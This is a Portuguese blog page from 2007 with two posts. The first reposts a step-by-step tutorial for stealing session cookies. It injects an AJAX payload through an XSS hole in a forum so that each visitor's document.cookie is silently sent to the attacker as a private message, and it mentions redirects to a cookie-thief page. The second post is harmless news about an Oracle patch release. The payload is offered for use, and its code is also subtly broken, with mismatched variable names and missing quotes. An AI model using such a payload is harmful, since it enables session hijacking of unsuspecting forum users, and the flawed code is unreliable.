Artigo que explica passo-a-passo a nova técnica de roubo de cookies, por meio de AJAX.

0

Posted on : 15-01-2007 | By : .rafa | In : Ajax, HTML

Estava lendo na Total Security um artigo que mostra como alguém pode roubar cookies usando ajax.

"A grande maioria de ladrões de cookies utiliza métodos de localização em javascript; exemplo window.document.location=http://www.totalsecurity.com.br/ladraodecookie.php. Isso irá redirecionar o internauta para uma página diferente. Agora vamos tentar usar javascript inline, javascript: window.document.location=http://www.sitequequeroredirecionar.com; Essa é a forma mais velha de roubo de cookies. Mas usuários menos bestinhas, até mesmo os bestinhas desconfiarão, pois não estaram no endereço em que iniciaram. Por isso usar AJAX, você poderá roubar cookies de forma silenciosa. Resultado final: pessoas visitam algo como um fórum, até ai tudo bem, do nada a cookie do mesmo é roubada. Nada parece ter acontecido.

Ficou curioso como funciona? Pois bem... imaginemos que estamos em um fórum, que por sua vez tenha uma falha XSS. A missão é infiltrar no fórum, inserir um código javascript(AJAX, é claro) usando a tag para driblar o sistema do fórum. Nesse código, o usuário mandará o cookie dele para você numa mensagem privada, usando o sistema de mensagem do fórum, é claro :)

*tags modificadas para [] respectivamente.
[img src=javascript:
//Vamos setar XMLHttpRequestObject falso para ver se retornará verdadeiro depois..
var XMLHTTPRequestObject = false;
if (window.XMLHttpRequest)
{
XMLHttpRequestObject = new XMLHttpRequest();
}
else if(window.ActiveXObject)
{
XMLHttpRequestObject = new ActiveXObject(Microsoft.XMLHTTP);
}
else
{
alert(Javascript não está ativado.);
}

O código acima é simples, verificará se XMLHttpRequest poderá ser gerado. Se não, uma caixa de alerta será mostrada e o resto do código que será inserido agora, não entrará em funcionamento.

function socket()
{
/*A linha a seguir é muito importante. Se o site está usando POST para enviar as mensagens, então terá de mudar o código usando o seu HTTP debugger. Em SEUNOMEDEUSUÁRIO, você botará seu login no fórum para receber mensagem privada com o cookie da vítima pelo sistema de mensagem privada do fórum*/
XMLHttpRequestObject.open('GET', 'http://www.sitequalquer.com/privatemessage.php user=SEUNOMEDEUSUÁRIO&subject=' + window.document.cookie, true);
XMLHttpRequestObject.setRequestHeader(Content-Type, application/x-www-form-urlencoded);
XMLHttpRequestObject.send(null);
//Out of the Goodness of our heart =p
delete XMLHttpRequestObject;
}
//Não esquecer de fechar a tag, afinal, isso é uma imagem ;)
window.document.onload='socket();']

Esse foi um exemplo claro e bem-sucedido de um código em AJAX para um fórum, em que, quando o post for acessado, o usuário enviará uma mensagem privada com o seu respectivo cookie para quem você desejar."

Fonte: Total Security

Amanhã sai novo patch do Oracle

0

Posted on : 15-01-2007 | By : .rafa | In : Banco de Dados, Oracle

A Oracle está antecimando o anuncio dos patch´s para suas aplicações onde este anúncio antecipado facilitará o planejamento semanal dos clientes da Oracle, disse Darius Wiles, gerente sênior da Oracle Security Alerts.

A empresa tem sido criticada por sobrecarregar seus consumidores com uma enxurrada de atualizações de segurança confusas, e nos últimos meses tem tomado previdências para ajudar os usuários a entenderem quais as correções mais urgentes.

Em outubro do ano passado, a Oracle começou a simplificar seus relatórios de vulnerabilidades e a classificar seus bugs de acordo com o Sistema Comum de Pontuação de Vulnerabilidade (CVSS na sigla em inglês), também usado nos avisos de segurança da Cisco Systems. O CVSS pretende padronizar a classificação de falhas de segurança.

A Oracle classificou as atualizações como 7, na pontuação CVSS. Apesar de a pior classificação ser 10 pontos no sistema, 7 é a nota mais alta que a Oracle daria normalmente, porque suas falhas não costumam afetar a base do sistema operacional, segundo Willes.

Este patch terá 52 correções para o Database, Application Server, Enterprise Manager, Identity Management, E-Business Suite, Developer Suite e o PeopleSoft Enterprise People Tools.

A maioria desses patches será para o software de banco de dados da empresa, que receberá 27 correções ao todo. Dez dos bugs “podem ser explorados em uma rede sem a necessidade de nome e senha”, disse a empresa no anúncio.

Fonte: Oracle Critical Patch Update Pre-Release Announcement - January 2007